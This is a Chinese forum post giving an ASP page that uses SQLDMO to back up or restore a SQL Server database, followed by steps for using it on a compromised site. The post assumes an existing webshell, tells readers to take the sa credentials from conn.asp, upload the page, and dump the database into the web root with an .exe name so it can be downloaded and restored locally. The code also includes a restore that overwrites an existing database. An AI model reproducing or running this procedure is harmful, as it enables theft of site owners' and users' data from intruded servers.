主题 : 下载SQL数据库
金秋果實豐 金風吹黃葉
级别: 七朵秋菊
UID: 33333
精华: 0
发帖: 7917
威望: 34658 点
无痕币: 605 WHB
贡献值: 0 点
在线时间: 3192(时)
注册时间: 2007-12-25
最后登录: 2022-08-05

0 下载SQL数据库

用ASP备份SQL server数据库,代码如下

<HTML>
<HEAD>
<TITLE>SQL Server 数据库的备份与恢复</TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</HEAD>
<BODY>
<form method="post" name=myform>
选择操作:<INPUT TYPE="radio" NAME="act" id="act_backup" value="backup"><label for=act_backup>备份</label> 
<INPUT TYPE="radio" NAME="act" id="act_restore" value="restore"><label for=act_restore>恢复</label>
<br>数据库名:<INPUT TYPE="text" NAME="databasename" value="<%=request("databasename")%>">
<br>文件路径:<INPUT TYPE="text" NAME="bak_file" value="c:.exe">(备份或恢复的文件路径,备份成EXE主要为了方便下载,活活..)<br>
<input type="submit" value="确定">
</form>
<%
dim sqlserver,sqlname,sqlpassword,sqlLoginTimeout,databasename,bak_file,act
sqlserver = "localhost" 'sql服务器
sqlname = "sa" '用户名
sqlpassword = "数据库密码" '密码
sqlLoginTimeout = 15 '登陆超时
databasename = trim(request("databasename"))
bak_file = trim(request("bak_file"))
bak_file = replace(bak_file,"",databasename)
act = lcase(request("act"))
if databasename = "" then
response.write "input database name"
else
if act = "backup" then
Set srv=Server.CreateObject("SQLDMO.SQLServer")
srv.LoginTimeout = sqlLoginTimeout
srv.Connect sqlserver,sqlname, sqlpassword
Set bak = Server.CreateObject("SQLDMO.Backup")
bak.Database=databasename
bak.Devices=Files
bak.Files=bak_file
bak.SQLBackup srv
if err.number>0 then
response.write err.number&"<font color=red><br>"
response.write err.description&"</font>"
end if
Response.write "<font color=green>备份成功!</font>"
elseif act = "restore" then
'恢复时要在没有使用数据库时进行!
Set srv=Server.CreateObject("SQLDMO.SQLServer")
srv.LoginTimeout = sqlLoginTimeout
srv.Connect sqlserver,sqlname, sqlpassword
Set rest=Server.CreateObject("SQLDMO.Restore")
rest.Action=0 ' full db restore
rest.Database=databasename
rest.Devices=Files
rest.Files=bak_file
rest.ReplaceDatabase=True 'Force restore over existing database
if err.number>0 then
response.write err.number&"<font color=red><br>"
response.write err.description&"</font>"
end if
rest.SQLRestore srv

Response.write "<font color=green>恢复成功!</font>"
else
Response.write "<font color=red>没有选择操作</font>"
end if
end if
%>
</BODY>
</HTML>

既然有webshell了 我们就去找连接数据库的文件,一般都是conn.asp之类的,相信大家都能找到 ^_^
接着修改以上代码,将用户名和密码换成你找到的
将以上代码存储成ASP,上传,,
然后来到刚才传上去的页面,
'选择操作'后面选上备份,
'数据库名'填上你看到的库名(还是在数据库连接文件里),
'文件路径'则填网站的绝对路径.比如网站在D:\WEB 你可以填D\WEB.EXE
为什么要存成EXE呢? 哈哈
因为可以下载嘛..只要能下的,扩展名是什么都没关系.
因为是SQL的,DOWN下来以后需要在本机恢复一下.
于是一次SQL数据库的载就完成了.
秂生完整在于學繪勇敢麵對人生悲劇而繼續活下去
Total 0.147266(s) query 3, Time now is:03-28 17:28, Gzip enabled 粤ICP备07514325号-1
Powered by PHPWind v7.3.2 Certificate Code © 2003-13 秋无痕论坛